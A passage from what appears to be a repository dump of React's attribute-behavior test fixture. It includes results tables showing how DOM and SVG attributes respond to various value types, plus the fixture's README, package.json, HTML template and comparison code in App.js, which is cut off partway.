`xmlns:xlink=(false)`| (initial, warning)| `<null>` |\n| `xmlns:xlink=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xmlns:xlink=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xmlns:xlink=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xmlns:xlink=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xmlns:xlink=(symbol)`| (initial, warning)| `<null>` |\n| `xmlns:xlink=(function)`| (initial, warning)| `<null>` |\n| `xmlns:xlink=(null)`| (initial, warning)| `<null>` |\n| `xmlns:xlink=(undefined)`| (initial, warning)| `<null>` |\n\n## `xmlnsXlink` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xmlnsXlink=(string)`| (changed)| `\"a string\"` |\n| `xmlnsXlink=(empty string)`| (changed)| `<empty string>` |\n| `xmlnsXlink=(array with string)`| (changed)| `\"string\"` |\n| `xmlnsXlink=(empty array)`| (changed)| `<empty string>` |\n| `xmlnsXlink=(object)`| (changed)| `\"result of toString()\"` |\n| `xmlnsXlink=(numeric string)`| (changed)| `\"42\"` |\n| `xmlnsXlink=(-1)`| (changed)| `\"-1\"` |\n| `xmlnsXlink=(0)`| (changed)| `\"0\"` |\n| `xmlnsXlink=(integer)`| (changed)| `\"1\"` |\n| `xmlnsXlink=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xmlnsXlink=(float)`| (changed)| `\"99.99\"` |\n| `xmlnsXlink=(true)`| (initial, warning)| `<null>` |\n| `xmlnsXlink=(false)`| (initial, warning)| `<null>` |\n| `xmlnsXlink=(string 'true')`| (changed)| `\"true\"` |\n| `xmlnsXlink=(string 'false')`| (changed)| `\"false\"` |\n| `xmlnsXlink=(string 'on')`| (changed)| `\"on\"` |\n| `xmlnsXlink=(string 'off')`| (changed)| `\"off\"` |\n| `xmlnsXlink=(symbol)`| (initial, warning)| `<null>` |\n| `xmlnsXlink=(function)`| (initial, warning)| `<null>` |\n| `xmlnsXlink=(null)`| (initial)| `<null>` |\n| `xmlnsXlink=(undefined)`| (initial)| `<null>` |\n\n## `xmlSpace` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xmlSpace=(string)`| (changed)| `\"a string\"` |\n| `xmlSpace=(empty string)`| (changed)| `<empty string>` |\n| `xmlSpace=(array with string)`| (changed)| `\"string\"` |\n| `xmlSpace=(empty array)`| (changed)| `<empty string>` |\n| `xmlSpace=(object)`| (changed)| `\"result of toString()\"` |\n| `xmlSpace=(numeric string)`| (changed)| `\"42\"` |\n| `xmlSpace=(-1)`| (changed)| `\"-1\"` |\n| `xmlSpace=(0)`| (changed)| `\"0\"` |\n| `xmlSpace=(integer)`| (changed)| `\"1\"` |\n| `xmlSpace=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xmlSpace=(float)`| (changed)| `\"99.99\"` |\n| `xmlSpace=(true)`| (initial, warning)| `<null>` |\n| `xmlSpace=(false)`| (initial, warning)| `<null>` |\n| `xmlSpace=(string 'true')`| (changed)| `\"true\"` |\n| `xmlSpace=(string 'false')`| (changed)| `\"false\"` |\n| `xmlSpace=(string 'on')`| (changed)| `\"on\"` |\n| `xmlSpace=(string 'off')`| (changed)| `\"off\"` |\n| `xmlSpace=(symbol)`| (initial, warning)| `<null>` |\n| `xmlSpace=(function)`| (initial, warning)| `<null>` |\n| `xmlSpace=(null)`| (initial)| `<null>` |\n| `xmlSpace=(undefined)`| (initial)| `<null>` |\n\n## `y` (on `<altGlyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `y=(string)`| (changed)| `\"a string\"` |\n| `y=(empty string)`| (changed)| `<empty string>` |\n| `y=(array with string)`| (changed)| `\"string\"` |\n| `y=(empty array)`| (changed)| `<empty string>` |\n| `y=(object)`| (changed)| `\"result of toString()\"` |\n| `y=(numeric string)`| (changed)| `\"42\"` |\n| `y=(-1)`| (changed)| `\"-1\"` |\n| `y=(0)`| (changed)| `\"0\"` |\n| `y=(integer)`| (changed)| `\"1\"` |\n| `y=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `y=(float)`| (changed)| `\"99.99\"` |\n| `y=(true)`| (initial, warning)| `<null>` |\n| `y=(false)`| (initial, warning)| `<null>` |\n| `y=(string 'true')`| (changed)| `\"true\"` |\n| `y=(string 'false')`| (changed)| `\"false\"` |\n| `y=(string 'on')`| (changed)| `\"on\"` |\n| `y=(string 'off')`| (changed)| `\"off\"` |\n| `y=(symbol)`| (initial, warning)| `<null>` |\n| `y=(function)`| (initial, warning)| `<null>` |\n| `y=(null)`| (initial)| `<null>` |\n| `y=(undefined)`| (initial)| `<null>` |\n\n## `y1` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `y1=(string)`| (initial)| `<SVGLength: 0>` |\n| `y1=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `y1=(array with string)`| (initial)| `<SVGLength: 0>` |\n| `y1=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `y1=(object)`| (initial)| `<SVGLength: 0>` |\n| `y1=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `y1=(-1)`| (changed)| `<SVGLength: -1>` |\n| `y1=(0)`| (initial)| `<SVGLength: 0>` |\n| `y1=(integer)`| (changed)| `<SVGLength: 1>` |\n| `y1=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `y1=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `y1=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `y1=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `y1=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `y1=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `y1=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `y1=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `y1=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `y1=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `y1=(null)`| (initial)| `<SVGLength: 0>` |\n| `y1=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `y2` (on `<line>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `y2=(string)`| (initial)| `<SVGLength: 0>` |\n| `y2=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `y2=(array with string)`| (initial)| `<SVGLength: 0>` |\n| `y2=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `y2=(object)`| (initial)| `<SVGLength: 0>` |\n| `y2=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `y2=(-1)`| (changed)| `<SVGLength: -1>` |\n| `y2=(0)`| (initial)| `<SVGLength: 0>` |\n| `y2=(integer)`| (changed)| `<SVGLength: 1>` |\n| `y2=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `y2=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `y2=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `y2=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `y2=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `y2=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `y2=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `y2=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `y2=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `y2=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `y2=(null)`| (initial)| `<SVGLength: 0>` |\n| `y2=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `yChannelSelector` (on `<feDisplacementMap>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `yChannelSelector=(string)`| (changed)| `<number: 3>` |\n| `yChannelSelector=(empty string)`| (initial)| `<number: 4>` |\n| `yChannelSelector=(array with string)`| (changed)| `<number: 3>` |\n| `yChannelSelector=(empty array)`| (initial)| `<number: 4>` |\n| `yChannelSelector=(object)`| (initial)| `<number: 4>` |\n| `yChannelSelector=(numeric string)`| (initial)| `<number: 4>` |\n| `yChannelSelector=(-1)`| (initial)| `<number: 4>` |\n| `yChannelSelector=(0)`| (initial)| `<number: 4>` |\n| `yChannelSelector=(integer)`| (initial)| `<number: 4>` |\n| `yChannelSelector=(NaN)`| (initial, warning)| `<number: 4>` |\n| `yChannelSelector=(float)`| (initial)| `<number: 4>` |\n| `yChannelSelector=(true)`| (initial, warning)| `<number: 4>` |\n| `yChannelSelector=(false)`| (initial, warning)| `<number: 4>` |\n| `yChannelSelector=(string 'true')`| (initial)| `<number: 4>` |\n| `yChannelSelector=(string 'false')`| (initial)| `<number: 4>` |\n| `yChannelSelector=(string 'on')`| (initial)| `<number: 4>` |\n| `yChannelSelector=(string 'off')`| (initial)| `<number: 4>` |\n| `yChannelSelector=(symbol)`| (initial, warning)| `<number: 4>` |\n| `yChannelSelector=(function)`| (initial, warning)| `<number: 4>` |\n| `yChannelSelector=(null)`| (initial)| `<number: 4>` |\n| `yChannelSelector=(undefined)`| (initial)| `<number: 4>` |\n\n## `z` (on `<fePointLight>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `z=(string)`| (initial)| `<number: 0>` |\n| `z=(empty string)`| (initial)| `<number: 0>` |\n| `z=(array with string)`| (initial)| `<number: 0>` |\n| `z=(empty array)`| (initial)| `<number: 0>` |\n| `z=(object)`| (initial)| `<number: 0>` |\n| `z=(numeric string)`| (changed)| `<number: 42>` |\n| `z=(-1)`| (changed)| `<number: -1>` |\n| `z=(0)`| (initial)| `<number: 0>` |\n| `z=(integer)`| (changed)| `<number: 1>` |\n| `z=(NaN)`| (initial, warning)| `<number: 0>` |\n| `z=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `z=(true)`| (initial, warning)| `<number: 0>` |\n| `z=(false)`| (initial, warning)| `<number: 0>` |\n| `z=(string 'true')`| (initial)| `<number: 0>` |\n| `z=(string 'false')`| (initial)| `<number: 0>` |\n| `z=(string 'on')`| (initial)| `<number: 0>` |\n| `z=(string 'off')`| (initial)| `<number: 0>` |\n| `z=(symbol)`| (initial, warning)| `<number: 0>` |\n| `z=(function)`| (initial, warning)| `<number: 0>` |\n| `z=(null)`| (initial)| `<number: 0>` |\n| `z=(undefined)`| (initial)| `<number: 0>` |\n\n## `zoomAndPan` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `zoomAndPan=(string)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(empty string)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(array with string)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(empty array)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(object)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(numeric string)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(-1)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(0)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(integer)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(NaN)`| (changed, warning)| `<number: 0>` |\n| `zoomAndPan=(float)`| (changed)| `<number: 0>` |\n| `zoomAndPan=(true)`| (initial, warning)| `<number: 2>` |\n| `zoomAndPan=(false)`| (initial, warning)| `<number: 2>` |\n| `zoomAndPan=(string 'true')`| (changed)| `<number: 0>` |\n| `zoomAndPan=(string 'false')`| (changed)| `<number: 0>` |\n| `zoomAndPan=(string 'on')`| (changed)| `<number: 0>` |\n| `zoomAndPan=(string 'off')`| (changed)| `<number: 0>` |\n| `zoomAndPan=(symbol)`| (initial, warning)| `<number: 2>` |\n| `zoomAndPan=(function)`| (initial, warning)| `<number: 2>` |\n| `zoomAndPan=(null)`| (initial)| `<number: 2>` |\n| `zoomAndPan=(undefined)`| (initial)| `<number: 2>` |\n\n"
  },
  {
    "path": "fixtures/attribute-behavior/README.md",
    "content": "# Attribute Behavior Fixture\n\n**WIP:** This is an MVP, still needs polish.\n\n### Known Issues\n- There are currently two errors thrown when the page loads;\n  `SyntaxError: missing ; before statement`\n\n## Instructions\n\n`yarn build --type=UMD_DEV react/index,react-dom && cd fixtures/attribute-behavior && yarn install && yarn dev`\n\n## Interpretation\n\nEach row is an attribute which could be set on some DOM component. Some of\nthem are invalid or mis-capitalized or mixed up versions of real ones.\nEach column is a value which can be passed to that attribute.\nEvery cell has a box on the left and a box on the right.\nThe left box shows the property (or attribute) assigned by the latest stable release of React, and the\nright box shows the property (or attribute) assigned by the locally built version of React.\n\nRight now, we use a purple outline to call out cases where the assigned property\n(or attribute) has changed between React 15 and 16.\n\n---\n\n\nThis project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app).\n\nYou can find the guide for how to do things in a CRA [here](https://github.com/facebook/create-react-app/blob/main/packages/cra-template/template/README.md).\n"
  },
  {
    "path": "fixtures/attribute-behavior/package.json",
    "content": "{\n  \"name\": \"attribute-behavior\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"dependencies\": {\n    \"file-saver\": \"^1.3.3\",\n    \"glamor\": \"^2.20.40\",\n    \"react\": \"^15.6.1\",\n    \"react-dom\": \"^15.6.1\",\n    \"react-scripts\": \"1.0.11\",\n    \"react-virtualized\": \"^9.9.0\"\n  },\n  \"resolutions\": {\n    \"fsevents\": \"1.2.13\"\n  },\n  \"scripts\": {\n    \"predev\":\n      \"cp ../../build/oss-experimental/react/umd/react.development.js public/ && cp ../../build/oss-experimental/react-dom/umd/react-dom.development.js public/ && cp ../../build/oss-experimental/react-dom/umd/react-dom-server.browser.development.js public/\",\n    \"dev\": \"react-scripts start\",\n    \"build\": \"react-scripts build\",\n    \"test\": \"react-scripts test --env=jsdom\",\n    \"eject\": \"react-scripts eject\"\n  }\n}\n"
  },
  {
    "path": "fixtures/attribute-behavior/public/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n    <meta name=\"theme-color\" content=\"#000000\">\n    <!--\n      manifest.json provides metadata used when your web app is added to the\n      homescreen on Android. See https://developers.google.com/web/fundamentals/engage-and-retain/web-app-manifest/\n    -->\n    <link rel=\"manifest\" href=\"%PUBLIC_URL%/manifest.json\">\n    <link rel=\"shortcut icon\" href=\"%PUBLIC_URL%/favicon.ico\">\n    <!--\n      Notice the use of %PUBLIC_URL% in the tags above.\n      It will be replaced with the URL of the `public` folder during the build.\n      Only files inside the `public` folder can be referenced from the HTML.\n\n      Unlike \"/favicon.ico\" or \"favicon.ico\", \"%PUBLIC_URL%/favicon.ico\" will\n      work correctly both with client-side routing and a non-root public URL.\n      Learn how to configure a non-root public URL by running `npm run build`.\n    -->\n    <title>React App</title>\n  </head>\n  <body>\n    <noscript>\n      You need to enable JavaScript to run this app.\n    </noscript>\n    <div id=\"root\"></div>\n    <div id=\"popover-target\" popover=\"auto\"></div>\n    <!--\n      This HTML file is a template.\n      If you open it directly in the browser, you will see an empty page.\n\n      You can add webfonts, meta tags, or analytics to this file.\n      The build step will place the bundled scripts into the <body> tag.\n\n      To begin the development, run `npm start` or `yarn start`.\n      To create a production bundle, use `npm run build` or `yarn build`.\n    -->\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/attribute-behavior/public/manifest.json",
    "content": "{\n  \"short_name\": \"React App\",\n  \"name\": \"Create React App Sample\",\n  \"icons\": [\n    {\n      \"src\": \"favicon.ico\",\n      \"sizes\": \"192x192\",\n      \"type\": \"image/png\"\n    }\n  ],\n  \"start_url\": \"./index.html\",\n  \"display\": \"standalone\",\n  \"theme_color\": \"#000000\",\n  \"background_color\": \"#ffffff\"\n}\n"
  },
  {
    "path": "fixtures/attribute-behavior/src/App.js",
    "content": "import React from 'react';\nimport {createElement} from 'glamor/react'; // eslint-disable-line\n/* @jsx createElement */\n\nimport {MultiGrid, AutoSizer} from 'react-virtualized';\nimport 'react-virtualized/styles.css';\nimport FileSaver from 'file-saver';\n\nimport {\n  inject as injectErrorOverlay,\n  uninject as uninjectErrorOverlay,\n} from 'react-error-overlay/lib/overlay';\n\nimport attributes from './attributes';\n\nconst types = [\n  {\n    name: 'string',\n    testValue: 'a string',\n    testDisplayValue: \"'a string'\",\n  },\n  {\n    name: 'empty string',\n    testValue: '',\n    testDisplayValue: \"''\",\n  },\n  {\n    name: 'array with string',\n    testValue: ['string'],\n    testDisplayValue: \"['string']\",\n  },\n  {\n    name: 'empty array',\n    testValue: [],\n    testDisplayValue: '[]',\n  },\n  {\n    name: 'object',\n    testValue: {\n      toString() {\n        return 'result of toString()';\n      },\n    },\n    testDisplayValue: \"{ toString() { return 'result of toString()'; } }\",\n  },\n  {\n    name: 'numeric string',\n    testValue: '42',\n    displayValue: \"'42'\",\n  },\n  {\n    name: '-1',\n    testValue: -1,\n  },\n  {\n    name: '0',\n    testValue: 0,\n  },\n  {\n    name: 'integer',\n    testValue: 1,\n  },\n  {\n    name: 'NaN',\n    testValue: NaN,\n  },\n  {\n    name: 'float',\n    testValue: 99.99,\n  },\n  {\n    name: 'true',\n    testValue: true,\n  },\n  {\n    name: 'false',\n    testValue: false,\n  },\n  {\n    name: \"string 'true'\",\n    testValue: 'true',\n    displayValue: \"'true'\",\n  },\n  {\n    name: \"string 'false'\",\n    testValue: 'false',\n    displayValue: \"'false'\",\n  },\n  {\n    name: \"string 'on'\",\n    testValue: 'on',\n    displayValue: \"'on'\",\n  },\n  {\n    name: \"string 'off'\",\n    testValue: 'off',\n    displayValue: \"'off'\",\n  },\n  {\n    name: 'symbol',\n    testValue: Symbol('foo'),\n    testDisplayValue: \"Symbol('foo')\",\n  },\n  {\n    name: 'function',\n    testValue: function f() {},\n  },\n  {\n    name: 'null',\n    testValue: null,\n  },\n  {\n    name: 'undefined',\n    testValue: undefined,\n  },\n];\n\nconst ALPHABETICAL = 'alphabetical';\nconst REV_ALPHABETICAL = 'reverse_alphabetical';\nconst GROUPED_BY_ROW_PATTERN = 'grouped_by_row_pattern';\n\nconst ALL = 'all';\nconst COMPLETE = 'complete';\nconst INCOMPLETE = 'incomplete';\n\nfunction getCanonicalizedValue(value) {\n  switch (typeof value) {\n    case 'undefined':\n      return '<undefined>';\n    case 'object':\n      if (value === null) {\n        return '<null>';\n      }\n      if ('baseVal' in value) {\n        return getCanonicalizedValue(value.baseVal);\n      }\n      if (value instanceof SVGLength) {\n        return '<SVGLength: ' + value.valueAsString + '>';\n      }\n      if (value instanceof SVGRect) {\n        return (\n          '<SVGRect: ' +\n          [value.x, value.y, value.width, value.height].join(',') +\n          '>'\n        );\n      }\n      if (value instanceof SVGPreserveAspectRatio) {\n        return (\n          '<SVGPreserveAspectRatio: ' +\n          value.align +\n          '/' +\n          value.meetOrSlice +\n          '>'\n        );\n      }\n      if (value instanceof SVGNumber) {\n        return value.value;\n      }\n      if (value instanceof SVGMatrix) {\n        return (\n          '<SVGMatrix ' +\n          value.a +\n          ' ' +\n          value.b +\n          ' ' +\n          value.c +\n          ' ' +\n          value.d +\n          ' ' +\n          value.e +\n          ' ' +\n          value.f +\n          '>'\n        );\n      }\n      if (value instanceof SVGTransform) {\n        return (\n          getCanonicalizedValue(value.matrix) +\n          '/' +\n          value.type +\n          '/' +\n          value.angle\n        );\n      }\n      if (typeof value.length === 'number') {\n        return (\n          '[' +\n          Array.from(value)\n            .map(v => getCanonicalizedValue(v))\n            .join(', ') +\n          ']'\n        );\n      }\n      let name = (value.constructor && value.constructor.name) || 'object';\n      return '<' + name + '>';\n    case 'function':\n      return '<function>';\n    case 'symbol':\n      return '<symbol>';\n    case 'number':\n      return `<number: ${value}>`;\n    case 'string':\n      if (value === '') {\n        return '<empty string>';\n      }\n      return '\"' + value + '\"';\n    case 'boolean':\n      return `<boolean: ${value}>`;\n    default:\n      throw new Error('Switch statement should be exhaustive.');\n  }\n}\n\nlet _didWarn = false;\nfunction warn(str) {\n  _didWarn = true;\n}\n\n/**\n * @param {import('react-dom/server')} serverRenderer\n */\nasync function renderToString(serverRenderer, element) {\n  let didError = false;\n  const stream = await serverRenderer.renderToReadableStream(element, {\n    onError(error) {\n      didError = true;\n      console.error(error);\n    },\n  });\n  await stream.allReady;\n\n  if (didError) {\n    throw new Error('The above error occurred while rendering to string.');\n  }\n\n  const response = new Response(stream);\n  return response.text();\n}\n\nconst UNKNOWN_HTML_TAGS = new Set(['keygen', 'time', 'command']);\nasync function getRenderedAttributeValue(\n  react,\n  renderer,\n  serverRenderer,\n  attribute,\n  type\n) {\n  const originalConsoleError = console.error;\n  console.error = warn;\n\n  const containerTagName = attribute.containerTagName || 'div';\n  const tagName = attribute.tagName || 'div';\n\n  function createContainer() {\n    if (containerTagName === 'svg') {\n      return document.createElementNS('http://www.w3.org/2000/svg', 'svg');\n    } else if (containerTagName === 'document') {\n      return document.implementation.createHTMLDocument('');\n    } else if (containerTagName === 'head') {\n      return document.implementation.createHTMLDocument('').head;\n    } else {\n      return document.createElement(containerTagName);\n    }\n  }\n\n  const read = attribute.read;\n  let testValue = type.testValue;\n  if (attribute.overrideStringValue !== undefined) {\n    switch (type.name) {\n      case 'string':\n        testValue = attribute.overrideStringValue;\n        break;\n      case 'array with string':\n        testValue = [attribute.overrideStringValue];\n        break;\n      default:\n        break;\n    }\n  }\n  let baseProps = {\n    ...attribute.extraProps,\n  };\n  if (attribute.type) {\n    baseProps.type = attribute.type;\n  }\n  const props = {\n    ...baseProps,\n    [attribute.name]: testValue,\n  };\n\n  let defaultValue;\n  let canonicalDefaultValue;\n  let result;\n  let canonicalResult;\n  let ssrResult;\n  let canonicalSsrResult;\n  let didWarn;\n  let didError;\n  let ssrDidWarn;\n  let ssrDidError;\n\n  _didWarn = false;\n  try {\n    let container = createContainer();\n    renderer.flushSync(() => {\n      renderer\n        .createRoot(container)\n        .render(react.createElement(tagName, baseProps));\n    });\n    defaultValue = read(container.lastChild);\n    canonicalDefaultValue = getCanonicalizedValue(defaultValue);\n\n    container = createContainer();\n\n    renderer.flushSync(() => {\n      renderer\n        .createRoot(container)\n        .render(react.createElement(tagName, props));\n    });\n    result = read(container.lastChild);\n    canonicalResult = getCanonicalizedValue(result);\n    didWarn = _didWarn;\n    didError = false;\n  } catch (error) {\n    result = null;\n    didWarn = _didWarn;\n    didError = true;\n  }\n\n  _didWarn = false;\n  let hasTagMismatch = false;\n  let hasUnknownElement = false;\n  try {\n    let container;\n    if (containerTagName === 'document') {\n      const html = await renderToString(\n        serverRenderer,\n        react.createElement(tagName, props)\n      );\n      container = createContainer();\n      container.innerHTML = html;\n    } else if (containerTagName === 'head') {\n      const html = await renderToString(\n        serverRenderer,\n        react.createElement(tagName, props)\n      );\n      container = createContainer();\n      container.innerHTML = html;\n    } else {\n      const html = await renderToString(\n        serverRenderer,\n        react.createElement(\n          containerTagName,\n          null,\n          react.createElement(tagName, props)\n        )\n      );\n      const outerContainer = document.createElement('div');\n      outerContainer.innerHTML = html;\n      // Float may prepend `<link />`\n      container = outerContainer.lastChild;\n    }\n\n    if (\n      !container.lastChild ||\n      container.lastChild.tagName.toLowerCase() !== tagName.toLowerCase()\n    ) {\n      hasTagMismatch = true;\n    }\n\n    if (\n      container.lastChild instanceof HTMLUnknownElement &&\n      !UNKNOWN_HTML_TAGS.has(container.lastChild.tagName.toLowerCase())\n    ) {\n      hasUnknownElement = true;\n    }\n\n    ssrResult = read(container.lastChild);\n    canonicalSsrResult = getCanonicalizedValue(ssrResult);\n    ssrDidWarn = _didWarn;\n    ssrDidError = false;\n  } catch (error) {\n    ssrResult = null;\n    ssrDidWarn = _didWarn;\n    ssrDidError = true;\n  }\n\n  console.error = originalConsoleError;\n\n  if (hasTagMismatch) {\n    throw new Error('Tag mismatch. Expected: ' + tagName);\n  }\n  if (hasUnknownElement) {\n    throw new Error('Unexpected unknown element: ' + tagName);\n  }\n\n  let ssrHasSameBehavior;\n  let ssrHasSameBehaviorExceptWarnings;\n  if (didError && ssrDidError) {\n    ssrHasSameBehavior = true;\n  } else if (!didError && !ssrDidError) {\n    if (canonicalResult === canonicalSsrResult) {\n      ssrHasSameBehaviorExceptWarnings = true;\n      ssrHasSameBehavior = didWarn === ssrDidWarn;\n    }\n    ssrHasSameBehavior =\n      didWarn === ssrDidWarn && canonicalResult === canonicalSsrResult;\n  } else {\n    ssrHasSameBehavior = false;\n  }\n\n  return {\n    tagName,\n    containerTagName,\n    testValue,\n    defaultValue,\n    result,\n    canonicalResult,\n    canonicalDefaultValue,\n    didWarn,\n    didError,\n    ssrResult,\n    canonicalSsrResult,\n    ssrDidWarn,\n    ssrDidError,\n    ssrHasSameBehavior,\n    ssrHasSameBehaviorExceptWarnings,\n  };\n}\n\nasync function prepareState(initGlobals) {\n  async function getRenderedAttributeValues(attribute, type) {\n    const {\n      ReactStable,\n      ReactDOMStable,\n      ReactDOMServerStable,\n      ReactNext,\n      ReactDOMNext,\n      ReactDOMServerNext,\n    } = initGlobals(attribute, type);\n    const reactStableValue = await getRenderedAttributeValue(\n      ReactStable,\n      ReactDOMStable,\n      ReactDOMServerStable,\n      attribute,\n      type\n    );\n    const reactNextValue = await getRenderedAttributeValue(\n      ReactNext,\n      ReactDOMNext,\n      ReactDOMServerNext,\n      attribute,\n      type\n    );\n\n    let hasSameBehavior;\n    if (reactStableValue.didError && reactNextValue.didError) {\n      hasSameBehavior = true;\n    } else if (!reactStableValue.didError && !reactNextValue.didError) {\n      hasSameBehavior =\n        reactStableValue.didWarn === reactNextValue.didWarn &&\n        reactStableValue.canonicalResult === reactNextValue.canonicalResult &&\n        reactStableValue.ssrHasSameBehavior ===\n          reactNextValue.ssrHasSameBehavior;\n    } else {\n      hasSameBehavior = false;\n    }\n\n    return {\n      reactStable: reactStableValue,\n      reactNext: reactNextValue,\n      hasSameBehavior,\n    };\n  }\n\n  const table = new Map();\n  const rowPatternHashes = new Map();\n\n  // Disable error overlay while testing each attribute\n  uninjectErrorOverlay();\n  for (let attribute of attributes) {\n    const results = new Map();\n    let hasSameBehaviorForAll = true;\n    let rowPatternHash = '';\n    for (let type of types) {\n      const result = await getRenderedAttributeValues(attribute, type);\n      results.set(type.name, result);\n      if (!result.hasSameBehavior) {\n        hasSameBehaviorForAll = false;\n      }\n      rowPatternHash += [result.reactStable, result.reactNext]\n        .map(res =>\n          [\n            res.canonicalResult,\n            res.canonicalDefaultValue,\n            res.didWarn,\n            res.didError,\n          ].join('||')\n        )\n        .join('||');\n    }\n    const row = {\n      results,\n      hasSameBehaviorForAll,\n      rowPatternHash,\n      // \"Good enough\" id that we can store in localStorage\n      rowIdHash: `${attribute.name} ${attribute.tagName} ${attribute.overrideStringValue}`,\n    };\n    const rowGroup = rowPatternHashes.get(rowPatternHash) || new Set();\n    rowGroup.add(row);\n    rowPatternHashes.set(rowPatternHash, rowGroup);\n    table.set(attribute, row);\n  }\n\n  // Renable error overlay\n  injectErrorOverlay();\n\n  return {\n    table,\n    rowPatternHashes,\n  };\n}\n\nconst successColor = 'white';\nconst warnColor = 'yellow';\nconst errorColor = 'red';\n\nfunction RendererResult({\n  result,\n  canonicalResult,\n  defaultValue,\n  canonicalDefaultValue,\n  didWarn,\n  didError,\n  ssrHasSameBehavior,\n  ssrHasSameBehaviorExceptWarnings,\n}) {\n  let backgroundColor;\n  if (didError) {\n    backgroundColor = errorColor;\n  } else if (didWarn) {\n    backgroundColor = warnColor;\n  } else if (canonicalResult !== canonicalDefaultValue) {\n    backgroundColor = 'cyan';\n  } else {\n    backgroundColor = successColor;\n  }\n\n  let style = {\n    display: 'flex',\n    alignItems: 'center',\n    position: 'absolute',\n    height: '100%',\n    width: '100%',\n    backgroundColor,\n  };\n\n  if (!ssrHasSameBehavior) {\n    const color = ssrHasSameBehaviorExceptWarnings ? 'gray' : 'magenta';\n    style.border = `3px dotted ${color}`;\n  }\n\n  return <div css={style}>{canonicalResult}</div>;\n}\n\nfunction ResultPopover(props) {\n  return (\n    <pre\n      css={{\n        padding: '1em',\n        minWidth: '25em',\n      }}>\n      {JSON.stringify(\n        {\n          reactStable: props.reactStable,\n          reactNext: props.reactNext,\n          hasSameBehavior: props.hasSameBehavior,\n        },\n        null,\n        2\n      )}\n    </pre>\n  );\n}\n\nclass Result extends React.Component {\n  state = {showInfo: false};\n  onMouseEnter = () => {\n    if (this.timeout) {\n      clearTimeout(this.timeout);\n    }\n    this.timeout = setTimeout(() => {\n      this.setState({showInfo: true});\n    }, 250);\n  };\n  onMouseLeave = () => {\n    if (this.timeout) {\n      clearTimeout(this.timeout);\n    }\n    this.setState({showInfo: false});\n  };\n\n  componentWillUnmount() {\n    if (this.timeout) {\n      clearTimeout(this.interval);\n    }\n  }\n\n  render() {\n    const {reactStable, reactNext, hasSameBehavior} = this.props;\n    const style = {\n      position: 'absolute',\n      width: '100%',\n      height: '100%',\n    };\n\n    let highlight = null;\n    let popover = null;\n    if (this.state.showInfo) {\n      highlight = (\n        <div\n          css={{\n            position: 'absolute',\n            height: '100%',\n            width: '100%',\n            border: '2px solid blue',\n          }}\n        />\n      );\n\n      popover = (\n        <div\n          css={{\n            backgroundColor: 'white',\n            border: '1px solid black',\n            position: 'absolute',\n            top: '100%',\n            zIndex: 999,\n          }}>\n          <ResultPopover {...this.props} />\n        </div>\n      );\n    }\n\n    if (!hasSameBehavior) {\n      style.border = '4px solid purple';\n    }\n    return (\n      <div\n        css={style}\n        onMouseEnter={this.onMouseEnter}\n        onMouseLeave={this.onMouseLeave}>\n        <div css={{position: 'absolute', width: '50%', height: '100%'}}>\n          <RendererResult {...reactStable} />\n        </div>\n        <div\n          css={{\n            position: 'absolute',\n            width: '50%',\n            left: '50%',\n            height: '100%',\n          }}>\n          <RendererResult {...reactNext} />\n        </div>\n        {highlight}\n        